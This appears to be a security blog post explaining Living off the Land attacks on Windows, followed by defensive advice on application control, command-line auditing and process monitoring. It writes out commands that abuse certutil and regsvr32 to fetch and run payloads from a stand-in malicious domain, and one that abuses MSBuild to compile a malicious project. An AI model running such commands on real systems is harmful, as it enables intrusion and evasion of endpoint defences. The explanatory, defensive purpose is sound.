Living off the Land (LotL): Using Built-in Tools for Malicious Ends

In the early days of hacking, attackers wrote custom malware in C or Assembly, compiled it into an executable, and dropped it directly onto the victim's hard drive. Today, dropping a custom binary onto a modern Windows machine is the fastest way to get caught by an Endpoint Detection and Response (EDR) platform.

To evade detection, sophisticated threat actors and Red Teams have shifted their methodology. Instead of bringing their own weapons, they use the weapons already provided by the operating system. This technique is known as Living off the Land (LotL).

In this post, we will explore the concept of "LOLBins" (Living off the Land Binaries), how they are abused, and why they are so difficult for Blue Teams to defend against.

What are LOLBins?

A LOLBin is any legitimate, Microsoft-signed, native operating system utility that can be abused by an attacker to execute malicious actions.

Because these tools are digitally signed by Microsoft and are essential for normal system administration, security products cannot simply block them. If an antivirus deletes cmd.exe or powershell.exe, the operating system will break. Attackers hide their malicious activity inside the noise of this legitimate administrative traffic.

Common LOLBins and Their Abuse

The open-source project LOLBAS (Living Off The Land Binaries, Scripts, and Libraries) documents hundreds of these dual-use tools. Let's look at three of the most frequently abused utilities.

1. Certutil.exe

Certutil.exe is a command-line program installed by default on Windows, intended to manage certificate services. However, it has two extremely useful features for attackers: the ability to download files from the internet, and the ability to base64 encode/decode files.

If an attacker needs to download a malicious payload from their Command and Control (C2) server without using a noisy web browser, they can run:

certutil.exe -urlcache -split -f "http://malicious-domain.com/payload.exe" C:\Windows\Temp\payload.exe

Because certutil is a trusted Microsoft binary, the network firewall and local EDR often allow this download to proceed without raising a critical alert.

2. Regsvr32.exe

Regsvr32.exe is used to register and unregister OLE controls, such as DLLs and ActiveX controls, in the Windows Registry. Attackers abuse it to execute arbitrary code, a technique famously known as "Squiblydoo."

By passing a specific set of flags and pointing it to a malicious XML file hosted on the internet, an attacker can execute code entirely in memory, bypassing application whitelisting solutions (like AppLocker):

regsvr32.exe /s /n /u /i:http://malicious-domain.com/payload.sct scrobj.dll

Since regsvr32 is a native binary executing the script block, the activity appears legitimate at first glance.

3. MSBuild.exe

MSBuild.exe is the Microsoft Build Engine used to compile applications. It is present on Windows systems that have the .NET framework installed. Attackers use it to bypass static defenses by dropping raw, uncompiled C# source code onto the disk (which AV doesn't flag as malware) and then using MSBuild to compile and execute it on the fly.

MSBuild.exe C:\Windows\Temp\malicious_project.csproj

The resulting execution runs under the context of the trusted MSBuild.exe process.

The Ultimate LOLBin: PowerShell

No discussion of LotL is complete without mentioning PowerShell. It provides unprecedented access to the Windows API and WMI (Windows Management Instrumentation). Attackers use PowerShell for everything from downloading payloads to dumping credentials and moving laterally across the network.

While Microsoft has introduced robust defenses like the Anti-Malware Scan Interface (AMSI) and Script Block Logging to combat malicious PowerShell, attackers continue to find ways to obfuscate their scripts or utilize "downgrade attacks" to force PowerShell to run an older, unmonitored version.

Defending Against LotL Attacks

Because you cannot simply delete these binaries, defending against LotL requires behavioral analytics and strict policy enforcement.

  1. Application Control (WDAC/AppLocker): Configure policies to restrict which directories these binaries can run from, or block standard users from running tools like certutil or msbuild altogether if they have no business need for them.
  2. Command-Line Auditing: Enable Process Creation tracking (Event ID 4688) with command-line arguments. Your SIEM should alert you if certutil is run with the -urlcache flag, as this is highly anomalous for daily administrative behavior.
  3. Monitor Parent-Child Relationships: If Microsoft Word (winword.exe) suddenly spawns powershell.exe, which then spawns certutil.exe, this is an immediate indicator of a macro-based LotL attack.

Conclusion

Living off the Land fundamentally shifts the advantage to the attacker by turning the operating system's own administrative tools into weapons. By understanding how LOLBins function and implementing rigorous behavioral monitoring, defenders can shine a light on this stealthy tradecraft.